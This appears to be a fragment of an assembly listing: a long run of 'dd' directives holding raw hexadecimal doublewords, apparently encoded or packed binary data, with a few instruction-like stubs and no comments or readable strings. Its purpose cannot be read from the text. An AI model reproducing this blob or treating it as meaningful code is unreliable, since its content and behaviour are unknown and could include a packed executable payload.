0F272D3EDh, 0DE4D3F5Bh dd 10AE1446h, 0A61F2169h, 0FDC3A73Eh, 0E458C986h, 357D5CC5h dd 3256DF73h, 29F84BADh, 3E9BBAC9h, 7DE21025h, 0FD66F26Bh dd 0E2000009h, 4B75DC80h, 0FEC069DBh, 4D73DA82h, 0FFC168D4h dd 5072DB89h, 72F254C8h, 0C282E5DBh, 4EEE556Bh, 0F86CD9E7h dd 0EE711551h, 0C2E6842Bh, 4F78CA9Ch, 0C9F76ED6h, 1771E85Ch dd 0E95DC26Ch, 0A01F4AFh, 468h, 0EE7115B8h, 0C930942Bh dd 0B3F5BD9Ch, 8D4CD31Fh, 3EC93094h, 0C55A3E1Fh, 0CF7A9E53h dd 520996F2h, 7BC2E68Ah, 211F7B5Ah, 13C659C0h, 0B4C2E68Ah dd 0C2DB495h, 0A51E2044h, 8A36E57Ah, 0B697C2E6h, 0A3003E97h dd 0B8DCB821h, 0E68A7427h, 0F66B55C2h, 0B02F6746h, 0C2E68A05h dd 0B7D35AF6h, 2AB7CE28h, 0BB1E3FC9h, 7DE2D25Ah, 49E377EEh dd 2E000009h, 9FA108B4h, 2A14BD27h, 91AF06B6h, 1B258C30h dd 0BC9E37ADh, 0A61E8874h, 6ED6310Fh, 0D28AF9C7h, 64E0457Bh dd 72ED89CDh, 0C2E683C7h, 4FE45600h, 0AE1671D6h, 0BB28168Fh dd 35AE9009h, 0B928168Fh, 85BB9A03h, 0B739A01Ch, 8CEA62CCh dd 5EC62BF7h, 9701F4AFh, 3A0h, 9427EE25h, 8A8C930h, 3676E98Dh dd 77CF7A9Fh, 970C3256h, 49BA842Dh, 0AC44029Bh, 5F610561h dd 0C0E178E4h, 0B7C11788h, 3E00C92Ah, 4A6E49C2h, 0BFFFD49Ch dd 726079Eh, 0E26855A2h, 0FE6AF37Dh, 8ACh, 40E953B1h, 0F75E067Eh dd 4AE359C9h, 0F8510B74h, 4DE460C6h, 0F157C56Fh, 81E4DA73h dd 0ED546AC3h, 6BD8E64Fh, 701450F9h, 0E6832CEFh, 79CB9DC2h dd 54BD2B15h, 3AC73939h, 0A896B78Eh, 0F0CE863Eh, 0E953CE93h dd 14705170h, 452CEF70h, 0BC9DC930h, 0F2536DF4h, 0F68DEB72h dd 605FC72Ch, 9EA001F4h, 0A5F5BD27h, 2F4h, 0DE86FFC1h dd 9C2E6647h, 309427EEh, 52B48AC9h, 622A0B92h, 65018C24h dd 7A9EBBFAh, 492D0CCFh, 0FF560E77h, 0B960FF9Bh, 12C2E68Ah dd 8A32E976h, 0BA9BC2E6h, 78EDD39Bh, 0AFDAA8CCh, 32DE45DEh dd 0EDAC3357h, 0DEC2E5E8h, 4A2EB7FFh, 0D94C1174h, 0F2D34A6Bh dd 70E953CCh, 0B35F1951h, 0AB811E7Ah, 22C92A14h, 755BA603h dd 18817DE2h, 7D38Ch, 0B22A9800h, 3C1251Bh, 0B02C94AAh dd 2BA2719h, 0B13395ABh, 0AF23A18h, 0BF81289Ch, 0B359C48h dd 0B38D2498h, 7F3B9252h, 81D5841Bh, 0A0F6C2E6h, 6ED64F12h dd 0E85CC9F7h, 6F0B6F71h, 0D44DF751h, 94AF6AF5h, 3918C930h dd 69200A71h, 0F56DEA57h, 8DFF6647h, 53BEFFFh, 0E3AB8A45h dd 55FC68DDh, 0F41C0363h, 73001h, 0E5820000h, 214h, 942DEE57h dd 2AEC930h, 5070EF8Bh, 8DCF7A9Fh, 33ACC8ACh, 0C2E68A88h dd 4C286041h, 0FA531172h, 81E55FC4h, 0B7C86FF3h, 0B43A2C6h dd 0F13CD492h, 11200A95h, 0C9BBC92Ah, 503C008Eh, 0C5B3FBACh dd 988241E4h, 0FB627DE2h, 7176Fh, 0F666DC00h, 5F05615Fh dd 0E458C8F6h, 0AE0E734Dh, 15CF3907h, 0A6969EBCh, 132D8440h dd 0A79930B4h, 1729803Ch, 0DB9F36AEh, 817920BFh, 452C2E6h dd 3DD64FB6h, 52B4C122h, 0F27DE092h, 712FEA75h, 0B998C930h dd 0E3DDB998h, 7A5BC282h, 0BDCFAB32h, 59C87DAEh, 573891E3h dd 67128DE9h, 60C93002h, 0CE370941h, 0BC259F09h, 0BCD8BC9Dh dd 38A12382h, 1D38619h, 0D5F4C930h, 0EC6902A7h, 0F5BDBFF2h dd 71F3526Ch, 0F66ED6E8h, 0D35F246Fh, 121C6779h, 60E4417Fh dd 28AD1628h, 402405B7h, 0AC836832h, 0DABEB1F3h, 2FA59645h dd 5E1637C9h, 68F793F7h, 0C92FA5B1h, 45733B1Ah, 1F3C4E1h dd 712h, 1E5A000h, 57000001h, 30942EEEh, 9503AFC9h, 0F591B02Ch dd 7A9F3D6Ah, 0CBAF8ECFh, 7DD490F5h, 0FB62E243h, 0FC9815BDh dd 2AB68963h, 44E1C0C9h, 7DE2D48Dh, 1D7EEA73h, 0C2000006h dd 6B55FC60h, 0DEE049FBh, 6D53FA62h, 0DFE148F4h, 7052FB69h dd 9252B4A8h, 22A2053Bh, 0EE4EB58Bh, 580C7947h, 4ED1B5F1h dd 0C2E6808Bh, 4FD86A3Ch, 0C9F76ED6h, 4633BB5Ch, 69CEB50Bh dd 6A45F3D5h, 0DCE2C3EDh, 4465FC68h, 5EC2FC65h, 0EE5967FEh dd 72D1EF76h, 5DC9B2CAh, 0B22B91F0h, 0D7ACB293h, 0D075EE4Bh dd 56CEF074h, 5066CFEEh, 1F3F3F4h, 701h, 51E5B300h, 57000000h dd 0A6ED64Fh, 944AF16Eh, 0BD83C930h, 2F0E9745h, 0BBDF460Eh dd 0EF02185h, 0FA31D2DCh, 0BF81C9E8h, 4C079E46h, 28D34C28h dd 0A1C93071h, 67B3C880h, 0CFAB198Ah, 0B72E96F1h, 0E377DE96h dd 47h, 45C2F587h, 1260DC44h, 2F11EBBAh, 0F4460EB6h, 0F76ED64Fh dd 4096E193h, 8A13C938h, 69F0D9ABh, 5918B302h, 0E8C98D88h dd 0B9F16BD6h, 30747026h, 1A047FC9h, 0D84FC83Dh, 0EE281638h dd 961A95E7h, 919F5E20h, 4FAB19B0h, 0B1F76ED6h, 0B0A8C721h dd 0CA9B7656h, 5E7FE656h, 0A53A5E7Fh, 0CF7A508Ch, 550F7749h dd 0DE47FD6Bh, 84BADEFFh, 0FFC1A51Fh, 3A93DB89h, 41259F04h dd 2B59037Fh, 0B0FD2C09h, 891D966h, 0F6BA24Eh, 305B1290h dd 8EEACBC9h, 0F59153B0h, 4B4B0E91h, 187CC930h, 304AD487h dd 0F5D4F5C9h, 0B92A14BDh, 4B2AD14Eh, 82A3C930h, 0D47C3AA3h dd 0F4A23D59h, 0C7CF7466h, 0B6269DA3h, 0EC3F7229h, 0F755FC2h dd 7186A091h, 186E2607h, 7E439C39h, 2CB57BA8h, 483B8h dd 42FA6800h, 0F371D5EBh, 40FC645Ah, 0F26AD7E9h, 4103655Bh dd 0FA62CAE8h, 4F71D88Ch, 0FBC56CD8h, 437DD488h, 8FCB62E2h dd 7EC574EBh, 5006C2E6h, 6ED64FE2h, 0D88CF9C7h, 5E067F41h dd 78A2D9C7h, 13BA2A9Bh, 0F4B3C125h, 397201h, 37C00000h dd 0E976129Bh, 0CF74E283h, 0FD8FEBCAh, 0F70F2E6h, 671534ADh dd 531B99DEh, 229A0937h, 4C63148Bh, 0BB28C2ECh, 0A824945Ah dd 74557C12h, 0DC80E3DDh, 3FED145h, 15630000h, 4C04B82Bh dd 4B2F660Ah, 25D44B2Fh, 0A6C93094h, 8E50CF87h, 0CFCF74C7h dd 771377EEh, 61CD8C13h, 0DFFEC2ECh, 0EC629940h, 5B1332C2h dd 20440065h, 0A33AA21Eh, 1853CA82h, 57430E7Ch, 9BE95BCDh dd 0AAE2191Dh, 9045D1h, 0A48537AAh, 87815FC0h, 0E1C0C930h dd 2B620E48h, 550ED04Fh, 6E4FCF74h, 0E55FC9F7h, 9D47BF81h dd 4F344CD5h, 2B620EE3h, 0AC10714Fh, 411F80E4h, 92C93087h dd 0E6DE02E0h, 88C083A1h, 1276DFFEh, 20C8C060h, 3E488Bh dd 49773FA5h, 0CFF168DCh, 147EE56h, 3B897771h, 0AB32AA19h dd 81BF88Ah, 198044A1h, 5C381938h, 0D9400462h, 4BD4B0F8h dd 0CF746059h, 0D748D1F0h, 0C2EC1F20h, 51C87CE9h, 0D44DF76Fh dd 6B0179A6h, 0D1BBDAF6h, 2F9380AAh, 1435148Dh, 19FE2853h dd 0FBB0ADADh, 0D2891672h, 0FBC2EC99h, 2AC292DAh, 70000000h dd 76129B37h, 749F53E9h, 29BBACFh, 0EC88DA9Dh, 80BEDAC2h dd 8341A21Fh, 521A3B1Ah, 0AC18FD29h, 49FBB0A8h, 109h, 6ED64FFBh dd 68F793F7h, 0C93094B1h, 9B493B1Ah, 4004F50h, 0AD1B256Dh dd 0FB6D5337h, 0B9F1D049h, 3FA51E20h, 0A62B98A6h, 3F1E873Dh dd 811E7A1Eh, 0C9307DDAh, 39A4ABBh, 3D755422h, 82450B94h dd 57CCC930h, 0B62F8DF2h, 853FA997h, 0D2330DA4h, 25CD8B12h dd 0D6E88CE8h, 4C6DF470h, 0EE92E3Eh, 83CB695Ch, 74B2821Ch dd 0CB6243CFh, 0CCA8E58Dh, 0A9594F2h, 0C2EC6E4Fh, 0E1785978h dd 6E5F1A85h, 4968C2ECh, 20442068h, 743CA81Eh, 3316E2EBh dd 3D4B39C9h, 0E70BF1DAh, 83A2D49Ch, 0F26AD9E7h, 73F1556Bh dd 0A2EACBEAh, 0D68EF8C6h, 0C0251B7Fh, 0F4BC9D04h, 4DE85CCAh dd 7DEE73E8h, 1D11851Ch, 0C2000002h, 6B55FC60h, 0DEE049FBh dd 6D53FA62h, 0DFE148F4h, 7052FB69h, 9252B4A8h, 22A2053Bh dd 0EE4EB58Bh, 580C7947h, 4ED1B5F1h, 0C2E67C8Bh, 4FD86A3Ch dd 310F6BD9h, 3B629D0h, 0C4C93094h, 258CC4E5h, 933AAA1Bh dd 579B3721h, 309411C8h, 0E99BBAC9h, 21CB8AEh, 86C4DA3h dd 70F4526Ch, 1815A738h, 94E6CF74h, 32AE0356h, 4032138Ah dd 44BC29D0h, 1200198h, 871E3F49h, 0EBDD5D18h, 0FA245FC2h dd 0AFFCB115h, 0D94876FBh, 78E45D63h, 0D888C0E1h, 0D8h dd 6ED64F6Ah, 0E55FC9F7h, 982DE37Ch, 407EC930h, 0C6E77EE6h dd 917E3DA2h, 6E4FC930h, 39AB1826h, 9035AE90h, 34AD8C30h dd 3357DE72h, 74B312ACh, 69DFE1CFh, 0B4362FBh, 4A385C7Dh dd 35681FB4h, 19B0F824h, 1E7AB35Fh, 1B36E57Ah, 1A85C2ECh dd 0C2EC1B5Fh, 1E3F4968h, 32563256h, 0EC1AEEADh, 0A752CDC2h dd 20C2EC1Bh, 1E567701h, 32C02D81h, 0E581A0C9h, 9A42BF81h dd 0D9462203h, 0C92DB822h, 0FCC28AABh, 4D73DA8Ah, 67CC69DBh dd 0A97DEE29h, 0F2A430h, 8DF70000h, 4CB8862Fh, 930F3198h dd 41BE8029h, 9A0C329Bh, 77A1832Ah, 8A12385h, 0BC15CF36h dd 14BD1F82h, 0A20BB92Ah, 5E1D82E6h, 6FC2E67Bh, 0D94F8B39h dd 87FCC26Bh, 621074DDh, 43BFAB55h, 0AB8F06Bh, 0F76ED64Fh dd 41E85CC9h, 67F4125h, 79E6C75Eh, 0C93094C2h, 24622A0Bh dd 0FA65018Ch, 0CF7A9EDDh, 0A9914E3Ch, 0E2DC2D53h, 99FDDCAAh dd 1A8341A7h, 0D4EA733Bh, 0F591F56Fh, 0E5CFAF6Ah, 713918C2h dd 2482BCD8h, 501839A0h, 0D64FF56Eh, 0F3F5F949h, 81269EEh dd 6E0ABA2Bh, 0B222F350h, 822B1A36h, 0B2AB392h, 6FD4EA43h dd 0ED526CF5h, 0D5AED64Fh, 0CD77EC49h, 15E0DBA9h, 840805F6h dd 0EA5B65CCh, 2977E37Ah, 13000000h, 7731E877h, 17889EECh dd 9EEC7764h, 13324465h, 7115E95Bh, 30942BEEh, 0F5BD9CC9h dd 52CDA9CDh, 0C93094A7h, 0FB490120h, 0FE67D54Fh, 78E163C0h dd 0F861DB46h, 7CE55FC6h, 0F960E442h, 7AE361C7h, 0F861DB44h dd 7BE25AC6h, 0FA63E145h, 5A5452EDh, 4C281h, 0EA830000h dd 24148704h, 16D2685Ch, 3C890000h, 26716824h, 34890000h dd 669B6824h, 34890000h, 7B1CBE24h, 31BF0B8Eh, 310DC470h dd 8B545EF7h, 0C4812434h, 4, 3BB068h, 241C8900h, 5E89FB89h dd 34FF5B08h, 0C4835E24h, 2434FF04h, 4C4815Fh, 0E9000000h dd 0FFFA63E6h, 0BC5DA64Dh, 0CFB8A909h, 3064A1Ah, 0E7E0FFC5h dd 59665424h, 316772D7h, 0FC26DC95h, 6411A8D0h, 6C62DDC9h dd 0C1767989h, 8D0E673Ch, 4A1C588Dh, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 9A3E780Eh dd 5E8h, 7CC1F000h, 12E81425h, 19000000h, 0C72B3BB6h, 606A9178h dd 70B66C63h, 16A764D5h, 0F3BF0FCFh, 0BF0F5E5Ah, 5D8D89FEh dd 0F06442Fh, 580h, 0CF816600h, 85C7ED4Ch, 6440679h, 6F40h dd 261D858Bh, 85C70644h, 6441071h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0D3C35747h dd 7B562233h, 69FB7E13h, 10E96051h, 60000000h, 7A489C3Ah dd 0F413F98Bh, 12DD7DCDh, 61606776h, 49B5FF58h, 89064416h dd 440989B5h, 0F995FF06h, 6A06440Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0F2CDC351h dd 0D0ADED90h, 60F50319h, 21918D89h, 6A610644h, 4D95FF00h dd 8B06441Ch, 332DEBC0h, 0DB3AE906h, 0D31268D8h, 60E3FEEDh dd 83397522h, 0C0B7EA3h, 2F6391A3h, 634CD21Dh, 876CA238h dd 0D2C80BDAh, 2910D709h, 0A9B4686Ah, 17DE9h, 0FE5D6000h dd 0C2016C4Fh, 0CAD1D76Fh, 7E41EFB4h, 9752E45Bh, 0A3FB6D5Dh dd 0B99244FCh, 0D792A59Eh, 0B9E495BCh, 0B2CB0093h, 0ACA3F49Dh dd 9EB9FC9Ch, 0C945D200h, 0EE73AFh, 0BA9755FCh, 0E56D599Ch dd 0ACFFB2A4h, 57F647FEh, 0CCD4C456h, 7DB5F600h, 9549F78Fh dd 0BCFA9753h, 5CCD45C9h, 0E56CA191h, 10000ACh, 43h dup(0) dd 0D1F80000h, 0DA43736h, 0CD0AD3C2h, 0EFE9189Eh, 6800000Fh dd 64A1FF6h, 0FB2A53E9h, 20E668FFh, 49E9064Ah, 68FFFB2Ah dd 64A227Ch, 0FB2A3FE9h, 235F68FFh, 35E9064Ah, 68FFFB2Ah dd 64A2452h, 0FB2A2BE9h, 252368FFh, 21E9064Ah, 68FFFB2Ah dd 64A25E0h, 0FB2A17E9h, 265D68FFh, 0DE9064Ah, 68FFFB2Ah dd 64A2755h, 0FB2A03E9h, 27E468FFh, 0F9E9064Ah, 68FFFB29h dd 64A28B0h, 0FB29EFE9h, 298268FFh, 0E5E9064Ah, 68FFFB29h dd 64A2A39h, 0FB29DBE9h, 2BBE68FFh, 0D1E9064Ah, 68FFFB29h dd 64A2CA5h, 0FB29C7E9h, 6E49F5FFh, 0B097280Bh, 6B4CF6D5h dd 0B1962D0Eh, 6D4AF7D4h, 3D5C1C08h, 0E1C2A780h, 3E1D785Fh dd 0E6C5A087h, 9D1C795Eh, 0DDEC5AFEh, 84D33161h, 1FEA5203h dd 1135247Ah, 0D7EC7080h, 85B9FAB4h, 6E81F57Ch, 6740F8DBh dd 0B4712802h, 0A80C73D7h, 0FEDD3DE7h, 0C15D6641h, 5E65F974h dd 4CFA5E3Dh, 73316FEBh, 54FE5AEFh, 0BE316FEBh, 79693DDh dd 243EC529h, 80C3091h, 77F21DE5h, 414Bh, 0B60B2800h, 5BA32491h dd 2A9C38A0h, 0D372BC3h, 2E09B291h, 0D1B2D1B2h, 2BC3C375h dd 0DD68F437h, 0E7B6AE79h, 0E09FD13Dh, 353893FAh, 9A3E0599h dd 316F7330h, 51437BDAh, 77F23B3Eh, 0C812h, 31129500h dd 3F1CA98Eh, 0F89BA087h, 0CF46F4B6h, 76C3DB5Eh, 0ACCFE855h dd 2912358Fh, 583B00B5h, 0E15EC67Bh, 0CCEF5AC6h, 4B685374h dd 15B1D4F3h, 372B2291h, 9EFBDC64h, 192205BDh, 0C7E0597Ah dd 0FFD560FCh, 4166DC3Ch, 197AE67Ah, 0E73D1ABDh, 0C4A13D3Dh dd 11722BEEh, 0C9EE5172h, 0DD21D87Ch, 98043BA1h, 6BB98FBh dd 0AB79421h, 91004E2Dh, 6088C04Bh, 5572CAE9h, 0C5E685E0h dd 0FB675C7Bh, 0F7D06D4Eh, 6D90F765h, 5ADFE45Dh, 0D71h dd 5A3F18A4h, 84E1C679h, 5F3A1DA7h, 85E0C77Ch, 593C1BA6h dd 0D16C8D4Dh, 0EB093F6h, 0D66F4C29h, 0FB794F1h, 0AFCC4D28h dd 61DCBD0Bh, 52D58231h, 0ADC8EF52h, 7411368Eh, 0C7A05BF3h dd 59E4C7A4h, 0B86FCB7Eh, 513DE7B6h, 0C8209632h, 8B17316Fh dd 142FB33Eh, 6FC81AB0h, 2D51F031h, 44F25635h, 7B316FC8h dd 4C6352E7h, 2077F2E0h, 0B9h, 0CDEA52A7h, 4F68D5F6h, 0AFBC622Ch dd 42AA1F6Fh, 0EC68CCF7h, 0F9372BACh, 7C4760DAh, 0CE7655E0h dd 0EC48AE9h, 814AC5FBh, 0D8FB9E2Bh, 567C4760h, 0FD1118A3h dd 3B8D63A0h, 0A33FA384h, 3980A3C0h, 0A5823D1Eh, 0D213B410h dd 0DA463DE7h, 9E695BFh, 3326CE6Ah, 9D013BA1h, 0B860DDFEh dd 0A107AA1Ch, 8D118D3Bh, 5473CDEEh, 1AA784E1h, 7A16B9EFh dd 0FD61A700h, 6C98C76Fh, 5ADFE45Dh, 0C81h, 4A2F08B4h dd 94F1D669h, 4F2A0DB7h, 95F0D76Ch, 492C0BB6h, 0C17C9D5Dh dd 1EA083E6h, 0C67F5C39h, 1FA784E1h, 0BFDC5D38h, 61E3AD1Bh dd 42C59231h, 0ADC8EF52h, 7411368Eh, 72EA52F3h, 4A71EDCAh dd 90B70A29h, 0A18237ABh, 715B3E19h, 2A8EEDCAh, 3DE79291h dd 2C0BB390h, 2C178B17h, 6FEC2288h, 3569C831h, 0F2BC305Fh dd 7A1C77h, 5C7F0000h, 0F077C2E5h, 0A4C7A05Bh, 0E7A12F00h dd 0B58E123Dh, 6FE2BB11h, 11325131h, 98398CABh, 0C59DB064h dd 51F377F2h, 90000000h, 70D40CB3h, 316FEAC6h, 4CF965F9h dd 0C7A05BCBh, 5FE4C7A4h, 6ADF4378h, 0E79045CEh, 0A3C05C3Dh dd 0F2D264C0h, 0F14B316Fh, 0FC71EDD6h, 7D4661DFh, 0F3C87DE1h dd 6FF2FD57h, 86B61731h, 0F90F92DCh, 0C733A2A2h, 0D2C4372h dd 0C0077F2h, 87000000h, 896F4h, 0DB49700h, 5B189F2Ah dd 5BC378A0h, 61FDC6E1h, 5FE5C6FDh, 43DF4378h, 0BCDFBCDFh dd 2BC3AE18h, 0B80D9137h, 0E1A5B61Ch, 0B81C7F3Dh, 3161DD0Eh dd 9518AD31h, 102B0CB6h, 97AC8B33h, 680B970Bh, 0FD06F34Bh dd 0DB96B0B9h, 6D0E6BF7h, 0A0C5400Eh, 2EEE4574h, 617B3C8Ah dd 9D200331h, 0B09326BAh, 3E142F08h, 8FC1A27Bh, 4686DECDh dd 7D1EABCBh, 0ABFAE0D9h, 3457CB3Bh, 26903457h, 193BBFB8h dd 0AB133085h, 72CAE98Ch, 95446E55h, 96D8BBD8h, 0A527D78Ch dd 0DD79CC4Ch, 31736176h, 395FCD51h, 0EE433E5Eh, 0AEB50D5h dd 922E0000h, 4CF3D0B5h, 972D0E6Bh, 4DF6D5B0h, 912C0F6Ah dd 13C7D3B6h, 157057EAh, 0CAAF8836h, 127750E9h, 0CBAE8931h dd 3B8D294Ah, 0FC3161E1h, 7FD52CABh, 0FF372BC0h, 4166DC3Ch dd 801ABEDDh, 0A73DE1A5h, 0C5745E3Bh, 0DD05B317h, 0A63A3161h dd 801C3B85h, 0BAE547E3h, 4ED23BABh, 2EB60E2Dh, 5DEB4F97h dd 623BBFF8h, 0C55962FEh, 0A71F3C59h, 0BBD8BB80h, 0BFF8A91Fh dd 0A7128E3Bh, 15AECE8Dh, 0B6950932h, 8C102B0Ch, 96D77310h dd 0C131759Fh, 0A51D3E5Dh, 3FA3843Dh, 0C877395Ah, 55677B32h dd 348CAF1Ah, 0B7137013h, 25F5BC01h, 241FAA36h, 36802447h dd 925F5BCh, 1C526347h, 0B4287DB7h, 0CF11A501h, 0CE8DA5F5h dd 0C5D67211h, 0ECAF399Dh, 735077CFh, 48D4EFC8h, 823A46D4h dd 0D4EFC8C4h, 0A0851h, 96B10D00h, 486FD0F3h, 93B40E2Dh dd 496ED5F6h, 95B20F2Ch, 0C534E4F0h, 193A5F78h, 0C6E580A7h dd 1E3D587Fh, 65E481A6h, 0E014A206h, 7C2B3161h, 0C7A05BFBh dd 0A49A00A4h, 19D3DE1h, 61F94162h, 60BC2BDEh, 2E9733FFh dd 684B2EB2h, 0E6CCF7D0h, 0BD197A33h, 3BAB4713h, 75AD1734h dd 0BEC367D1h, 58C4583Bh, 63FF63h, 0D9BC9B23h, 65DA42FAh dd 0CFE5DE42h, 9430530Ch, 3174A4FDh, 299F3B58h, 0E25F4DEh dd 4E6D0E92h, 97B4D1F6h, 280FB72Fh, 17AC8F13h, 3397AC30h dd 25F4DE99h, 0E6856219h, 3EB92442h, 0E4871B2Fh, 3D587FC7h dd 0BA81A61Eh, 6047FAD9h, 5872C75Bh, 0E5C27BA1h, 0C35F78C6h dd 9DA604A0h, 5C7F24C8h, 0F974C1E6h, 98250665h, 9552E440h dd 0F9652858h, 77C25E65h, 0FAB3664Ch, 0EFAA3D99h, 51CD2294h dd 51CB49C3h, 20A59E74h, 915h, 0FE9BBC00h, 204562DDh, 0FB9EB903h dd 214463D8h, 0FD98BF02h, 75C831E9h, 0AA143752h, 72CBE88Dh dd 0AB133055h, 0B68E98Ch, 61E719AFh, 0CE491E31h, 0F6CDEA52h dd 2A0DB695h, 0A88F3211h, 1AA28134h, 8524063Dh, 3611A959h dd 0AC133053h, 992CB08Bh, 36EA85A8h, 7EB7Eh, 0F46C0000h dd 500h, 9F65D973h, 0C46003DCh, 3DE7CE57h, 3017AF8Ch, 0B493280Bh dd 3A8F138Fh, 0B2C94B7h, 0BABA1E97h, 7A6C5BF2h, 2185E6BFh dd 0E4A86EB2h, 5AEC482Bh, 9EE8B82Eh, 9DF1DFBEh, 0ED71FCBAh dd 7249D558h, 0C57BA158h, 6645D9E2h, 63FFD8h, 771EFDA4h dd 51F596E2h, 0D2F17EE7h, 7CF144D8h, 18A083E0h, 0C1795A3Fh dd 6B474E6h, 1E25B43Ch, 8449Bh, 0EACD7100h, 3413AC8Fh dd 0EFC87251h, 3512A98Ah, 0E9CE7350h, 0B9E0988Ch, 65462304h dd 0BA99FCDBh, 62412403h, 1998FDDAh, 0E668DE7Ah, 184F3161h dd 0CDEA529Fh, 0D5F695F6h, 0EF73486Fh, 2BC3FD4Bh, 0F2D56C37h dd 7556E37Fh, 0CAED50C8h, 62193356h, 3EA2853Ah, 0A489F95Dh dd 3F5C3DE1h, 61DE2D9Bh, 3B8E1231h, 6A492AB6h, 0B390F5D2h dd 0B2C930Bh, 0B30AC30h, 0DEBD7A21h, 0ABB9D47Ah, 467FB3Bh dd 0DDB89F27h, 24B346FEh, 0A0E397B4h, 0E8A315B1h, 8943BBFh dd 50330894h, 0E8219733h, 0A2D53BBFh, 10C55172h, 0FBB529A4h dd 6F61E5CEh, 98BB0E15h, 4E900225h, 735D7204h, 787CD48h dd 0EB20000h, 0D06F4C29h, 0BB192F7h, 0D16A492Ch, 0DB093F6h dd 9F5B4F2Ah, 81E4C37Eh, 5E3B1CA2h dd 86E3C47Dh, 5F3A1DA5h, 0AF19BDDEh, 903161E6h, 0A05B40C7h dd 3987A4C7h, 53E19A1h, 0D3B00599h, 0C177D3B0h, 0F6372BC3h dd 1E95246Ah, 0E07C7F0Ch, 0AA5FF155h, 1C803DE1h, 0C3E45C7Fh dd 1B3C83A0h, 6C09BC20h, 0EBD0F74Fh, 3E5D1AC1h, 0ADE5D19Ah dd 7EEC703Bh, 5D6895AAh, 0AE1645Fh, 0F000007h, 0D2F194B3h dd 0C2F4A6Dh, 0D7F491B6h, 0D2E4B6Ch, 0E6F297B0h, 5176CB32h dd 8EA91734h, 5671C8EBh, 8FA81033h, 0AC086BEAh, 3161E51Ah dd 12CD4A1Dh, 0F103425Ch, 8633FB52h, 13A1DA5h, 936F9A22h dd 0A5A31C66h, 0A63A1DA3h, 4023013Ah, 0C7FCDB63h, 0F4FEE5Bh dd 0ED88AF17h, 35FAB1DCh, 119F7Eh, 12180000h, 0C363D571h dd 0C854372Bh, 2E2F87Dh, 527F0000h, 97921FEAh, 521DF3DDh dd 1CDFF5CEh, 2A842043h, 0E33DE10Dh, 7C5F78C0h, 44D8E3C4h dd 85E07CF1h, 5A391EA6h, 0E9DCDA14h, 0D96C8FFDh, 5B7CC1E2h dd 8865143Eh, 0BEC24FEBh, 79E53BABh, 37E6541Ah, 0D4666D9Dh dd 99210261h, 40F8DBBEh, 1C3F5C67h, 103386A1h, 0D2B18AADh dd 0D9299A9Ch, 0A81DE72Ch, 7D1ED782h, 0A3843D1Eh, 71F0C2EDh dd 64D15CB0h, 73811FC0h, 2CBE2231h, 433EF98Eh, 12A5201Bh dd 7000006h, 0DAF99CBBh, 4274265h, 0DFFC99BEh, 5264364h dd 0EEFA9FB8h, 694EF32Ah, 0B6912F0Ch, 6E49F0D3h, 0B790280Bh dd 943053D2h, 3161E422h, 52C54215h, 95F6CDEAh, 12290EB6h dd 0FF49ED8Eh, 0C0372BC3h, 72CAE95Ch, 0ED4C6E55h, 0D149F1B1h dd 16754E69h, 2BC304B2h, 3BA73B37h, 0EFA1C2A7h, 0C16560C7h dd 372B2877h, 3F9AD448h, 83A41F13h, 749BAA1Fh, 0D87E3648h dd 7, 178F45Fh, 52730000h, 0E75FCDEAh, 2451E6BBh, 5839A1Fh dd 0AB60000h, 0D46B482Dh, 0FB596F3h, 0D56E4D28h, 9B497F2h dd 9B5F4B2Eh, 9DF8DF62h, 422700BEh, 9AFFD861h, 432601B9h dd 0B305A1C2h, 843161E4h, 0EA5254D3h, 0B695F6CDh, 8C102B0Ch dd 3AA21A39h, 4AFC5880h, 6D372BC3h, 0CA566DF1h, 0EE4F6D56h dd 4DFAB4AEh, 0CDB4E074h, 7B58EE4Ah, 0C35F372Bh, 2E983C5Fh dd 11372B7Bh, 0A31B388Dh, 39A5823Bh, 0A21C3F5Ch, 7B68DE7Ah dd 0D34F372Bh, 5DE8744Fh, 362F416Ch, 0D2F7Eh, 0F4A80000h dd 0DAh, 0D4F473h, 5B730000h, 0A4C7A0h, 3DE1A5AEh, 1C360D91h dd 0C0E3805Dh, 0F9655E79h, 748B2F4Ch, 0BB3BAD8Dh, 5FFB2398h dd 3BA58CE9h, 0F5CE52CEh, 0D167F569h, 465D68F4h, 4B7F87Dh dd 5EE20000h, 803F1C79h, 5BE1C2A7h, 813A197Ch, 5DE0C3A6h dd 4F0B1F7Ah, 0D1B4932Eh, 0E6B4CF2h, 0D6B3942Dh, 0F6A4DF5h dd 0FF49ED8Eh, 0C03161EBh, 0A05B1097h, 0F9EAA4C7h, 0D513BCDBh dd 0F5694EF3h, 0E402340h, 5D144159h, 0D773C62Ah, 3DE7D2D0h dd 9BF89B07h, 6F2D893Fh, 1132AE31h, 29B58EA9h, 66DCFF9Ch dd 5B6047FEh, 0D345A015h, 31AD75CCh, 0DF40F652h, 0EB77316Fh dd 1DB61277h, 9A316FDFh, 43600522h, 9EBDDEF9h, 8DB60324h dd 42808h, 0F1486B00h, 36247B04h, 0D74B2126h, 0A05BE562h dd 0E4C7A4C7h, 0D9457E59h, 0A566C86Ch, 0D5493DE1h, 5815C4EEh dd 2716583Bh, 0D9A35A90h, 38A4833Bh, 30D6298Dh, 0C5593BADh dd 68689B57h, 0FE7B405Dh, 3E5h, 2E4B6CD0h, 0F095B20Dh dd 2B4E69D3h, 0F194B308h, 2D486FD2h, 0A5188139h, 7AC4E782h dd 0A21B385Dh, 7BC3E085h, 0DBB8395Ch, 61EAC97Fh, 3EB9EE31h dd 0A4C7A05Bh, 7A5DE4C7h, 2BC368DEh, 66D34F37h, 0A50BA105h dd 0F2C3DE1h, 6A0995B2h, 0B5D6F149h, 0DDC472D6h, 67FB3161h dd 2C94B7D2h, 3053300Bh, 61DD2294h, 3C891531h, 0E98A6316h dd 6B5077CAh, 31408225h, 0D34F632Eh, 98A10566h, 0A33BABC9h dd 0C77F5C3Fh, 0F9C2E55Fh, 0BF9CF965h, 311B2007h, 6ACEAD8Ah dd 31732DC1h, 0B906400Eh, 2160B7B5h, 0F3EE3385h, 4980425h dd 32A03CB1h, 433E9628h, 2EE3665Dh, 6B000003h, 0B695F0D7h dd 684B2E09h, 0B390F5D2h, 694A2F08h, 8296F3D4h, 3D1AA7D6h dd 0E2C57B58h, 3A1DA487h, 0E3C47C5Fh, 0C0640786h, 3161E976h dd 52991E49h, 209632EAh, 17372BC3h, 1774178Bh, 